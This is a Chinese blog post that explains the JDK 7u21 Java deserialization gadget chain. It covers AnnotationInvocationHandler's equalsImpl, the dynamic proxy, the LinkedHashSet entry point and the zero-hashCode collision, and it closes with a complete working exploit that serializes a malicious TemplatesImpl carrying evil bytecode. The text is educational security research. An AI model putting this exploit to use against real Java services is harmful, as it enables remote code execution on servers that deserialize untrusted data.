【Web】Java原生反序列化之jdk7u21——又见动态代理

目录

前言

利用链

简单分析

触发invoke的核心:AnnotationInvocationHandler#equalsImpl

巧用动态代理调用equalsImpl

反序列化的入口:HashSet

hash相等构造

为何还是用了LinkedHashSet

EXP


前言

jdk7u21这条原生链equals那部分和CC7挺像的(前者是新key调用,后者是旧key调用):【Web】Java反序列化之CC7链——Hashtable-CSDN博客

然后动态代理的部分又和CC1挺像的(前者是equals后者是default):

【Web】Java反序列化之再看CC1--LazyMap-CSDN博客

有相关的前置知识,跟起来还挺有意思

利用链

其实走到TemplatesImpl.getOutputProperties()这步大伙就都懂了

LinkedHashSet.readObject()
  LinkedHashSet.add()
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        ClassLoader.defineClass()
                        Class.newInstance()
                          ...
                            MaliciousClass.<clinit>()
                              ...
                                Runtime.exec()

简单分析

触发invoke的核心:AnnotationInvocationHandler#equalsImpl

private Boolean equalsImpl(Object o) {
    if (o == this)
        return true;

    if (!type.isInstance(o))
        return false;
    for (Method memberMethod : getMemberMethods()) {
        String member = memberMethod.getName();
        Object ourValue = memberValues.get(member);
        Object hisValue = null;
        AnnotationInvocationHandler hisHandler = asOneOfUs(o);
        if (hisHandler != null) {
            hisValue = hisHandler.memberValues.get(member);
        } else {
            try {
                hisValue = memberMethod.invoke(o);
            } catch (InvocationTargetException e) {
                return false;
            } catch (IllegalAccessException e) {
                throw new AssertionError(e);
            }
        }
        if (!memberValueEquals(ourValue, hisValue))
            return false;
    }
    return true;
}

 hisValue = memberMethod.invoke(o)这里调用了invoke方法,memberMethod 来自于getMemberMethods(),再底层一点就是this.type.getDeclaredMethods()

private Method[] getMemberMethods() {
    if (memberMethods == null) {
        memberMethods = AccessController.doPrivileged(
            new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    final Method[] mm = type.getDeclaredMethods();
                    AccessibleObject.setAccessible(mm, true);
                    return mm;
                }
            });
    }
    return memberMethods;
}

这里的type是通过构造函数传进的一个Annotation的子类

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
    this.type = type;
    this.memberValues = memberValues;
}

总结一下就是,在equalsImpl方法中,遍历了this.type中的所有方法并且执行,若这里的type是恶意TemplatesImpl类或相关的接口,他也会自动遍历方法,并且去执行,即是说他会自动执行我们的TemplatesImpl#getOutputProperties(),从而完成攻击链调用。

前提是,我们要对AnnotationInvocationHandler先进行精心的构造,所谓精心构造,就是给它传入Templates.class(虽不继承自Annotation,但反射不看泛型)作为第一个参数type,不为什么,就为图它的getOutputProperties()是TemplatesImpl调用链的一环。

public interface Templates {

    /**
     * Create a new transformation context for this Templates object.
     *
     * @return A valid non-null instance of a Transformer.
     *
     * @throws TransformerConfigurationException if a Transformer can not be created.
     */
    Transformer newTransformer() throws TransformerConfigurationException;

    /**
     * Get the properties corresponding to the effective xsl:output element.
     * The object returned will
     * be a clone of the internal values. Accordingly, it can be mutated
     * without mutating the Templates object, and then handed in to
     * {@link javax.xml.transform.Transformer#setOutputProperties}.
     *
     * <p>The properties returned should contain properties set by the stylesheet,
     * and these properties are "defaulted" by default properties specified by
     * <a href="http://www.w3.org/TR/xslt#output">section 16 of the
     * XSL Transformations (XSLT) W3C Recommendation</a>.  The properties that
     * were specifically set by the stylesheet should be in the base
     * Properties list, while the XSLT default properties that were not
     * specifically set should be in the "default" Properties list.  Thus,
     * getOutputProperties().getProperty(String key) will obtain any
     * property in that was set by the stylesheet, <em>or</em> the default
     * properties, while
     * getOutputProperties().get(String key) will only retrieve properties
     * that were explicitly set in the stylesheet.</p>
     *
     * <p>For XSLT,
     * <a href="http://www.w3.org/TR/xslt#attribute-value-templates">Attribute
     * Value Templates</a> attribute values will
     * be returned unexpanded (since there is no context at this point).  The
     * namespace prefixes inside Attribute Value Templates will be unexpanded,
     * so that they remain valid XPath values.</p>
     *
     * @return A Properties object, never null.
     */
    Properties getOutputProperties();
}

巧用动态代理调用equalsImpl

sun.reflect.annotation.AnnotationInvocationHandler 这个类实际就是一个InvocationHandler,我们可以将这个对象用Proxy进行代理

我们再回看一下AnnotationInvocationHandler的invoke方法,发现当方法名等于“equals”,且仅有一个Object类型参数时,会调用到 equalImpl 方法。

public Object invoke(Object proxy, Method method, Object[] args) {
    String member = method.getName();
    Class<?>[] paramTypes = method.getParameterTypes();

    // Handle Object and Annotation methods
    if (member.equals("equals") && paramTypes.length == 1 &&
        paramTypes[0] == Object.class)
        return equalsImpl(args[0]);
    assert paramTypes.length == 0;
    if (member.equals("toString"))
        return toStringImpl();
    if (member.equals("hashCode"))
        return hashCodeImpl();
    if (member.equals("annotationType"))
        return type;

    // Handle annotation member accessors
    Object result = memberValues.get(member);

    if (result == null)
        throw new IncompleteAnnotationException(type, member);

    if (result instanceof ExceptionProxy)
        throw ((ExceptionProxy) result).generateException();

    if (result.getClass().isArray() && Array.getLength(result) != 0)
        result = cloneArray(result);

    return result;
}

于是乎,我们的问题就变成了什么类的什么方法,在反序列化时会对proxy调用equals方法呢?

反序列化的入口:HashSet

提到equals,我们很容易会想到HashMap&HashSet&Hashtable这些,而这条链采用的正是HashSet来做反序列化的入口,其实和CC7用Hashtable做反序列化入口很相像,底层都调用的是HashMap的操作

我们先来看HashSet#readObject

 private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in any hidden serialization magic
        s.defaultReadObject();

        // Read in HashMap capacity and load factor and create backing HashMap
        int capacity = s.readInt();
        float loadFactor = s.readFloat();
        map = (((HashSet)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in size
        int size = s.readInt();

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

发现其将对象保存在创建的HashMap的key处来做去重

我们再看下HashMap#put

 public V put(K key, V value) {
        if (key == null)
            return putForNullKey(value);
        int hash = hash(key);
        int i = indexFor(hash, table.length);
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
                V oldValue = e.value;
                e.value = value;
                e.recordAccess(this);
                return oldValue;
            }
        }

        modCount++;
        addEntry(hash, key, value, i);
        return null;
    }

我们看到了让人非常兴奋的key.equals(k),以及我们非常熟悉的hash相等构造

只要让key为精心构造的AnnotationInvocationHandler套的Proxy(上面已讲),k为恶意TemplatesImpl就大功告成,最终成功调用memberMethod.invoke(TemplatesImpl),也就是TemplatesImpl#getOutputProperties()

再往回退一步,怎么达成上面的key和k的条件呢,这就要求我们先往HashSet里放TemplatesImpl,再往HashSet里放Proxy

hash相等构造

接着上面,来看HashMap#put所调用的hash方法

final int hash(Object k) {
        int h = 0;
        if (useAltHashing) {
            if (k instanceof String) {
                return sun.misc.Hashing.stringHash32((String) k);
            }
            h = hashSeed;
        }

        h ^= k.hashCode();

        // This function ensures that hashCodes that differ only by
        // constant multiples at each bit position have a bounded
        // number of collisions (approximately 8 at default load factor).
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }

不难看出,决定hash的关键在于k.hashCode(),所以proxy对象与TemplateImpl对象的“哈希”是否相等,仅取决于这两个对象的 hashCode() 是否相等。

TemplateImpl的 hashCode() 是一个Native方法,每次运行都会发生变化,我们是无法预测的。

作为动态代理,proxy.hashCode() 仍然会调用到 AnnotationInvocationHandler#invoke ,进而调用到AnnotationInvocationHandler#hashCodeImpl

private int hashCodeImpl() {
int result = 0;
for (Map.Entry<String, Object> e : memberValues.entrySet()) {
result += (127 * e.getKey().hashCode()) ^
memberValueHashCode(e.getValue());
}
return result;
}

意思是遍历 memberValues 这个Map中的每个key和value,计算每个 (127 * key.hashCode()) ^
value.hashCode() 并求和。
我们可以做对应的分析:
①当 memberValues 中只有一个key和一个value时,该哈希简化成 (127 * key.hashCode()) ^
value.hashCode()
②当 key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成
value.hashCode() 。
③当 value 就是TemplateImpl对象时,这两个哈希就变成完全相等

所以我们找到一个hashCode是0的对象f5a5a608作为 memberValues 的key,将恶意TemplateImpl对象作为value,这个proxy计算的hashCode就与TemplateImpl对象本身的hashCode相等了。

为何还是用了LinkedHashSet

首先我们要知道LinkedHashSet是HashSet的继承类

public class LinkedHashSet<E>
    extends HashSet<E>
    implements Set<E>, Cloneable, java.io.Serializable

其次,我们可以把其理解为保持元素的插入顺序或访问顺序的HashSet

所以为什么HashSet改用了LinkedHashSet呢?

主要跟反序列化时在HashSet.readObject中调用map.put插入TemplatesImpl实例和Proxy实例前后顺序有关系,因为需要HashMap.put插入时的比较操作来触发命令执行,当插入Proxy实例需要TemplatesImpl实例已经存在才能调用proxy.equals(templatesimpl)

总结来说就是:在反序列化过程中,需要保证 HashSet 内的 entry 保持有序,这也是为什么用 LinkedHashSet 的原因

当然也不是说HashSet就不能用,如果你把下面exp的Linked删去,再运行个几次,会惊喜的发现,还是有几次会弹出计算器的,但LinkedHashSet毕竟胜在稳定。That's all.

EXP

配合的javassist的版本也得低下来

<dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.17.1-GA</version>
        </dependency>
package com.jdk7u21;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class jdk7u21 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.class.getName()).toBytecode()
        });
        setFieldValue(templates, "_name", "xxx");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        // 实例化AnnotationInvocationHandler类
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        // 为tempHandler创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(jdk7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        // 实例化HashSet,并将两个对象放进去
        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        // 将恶意templates设置到map中
        map.put(zeroHashCodeStr, templates);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值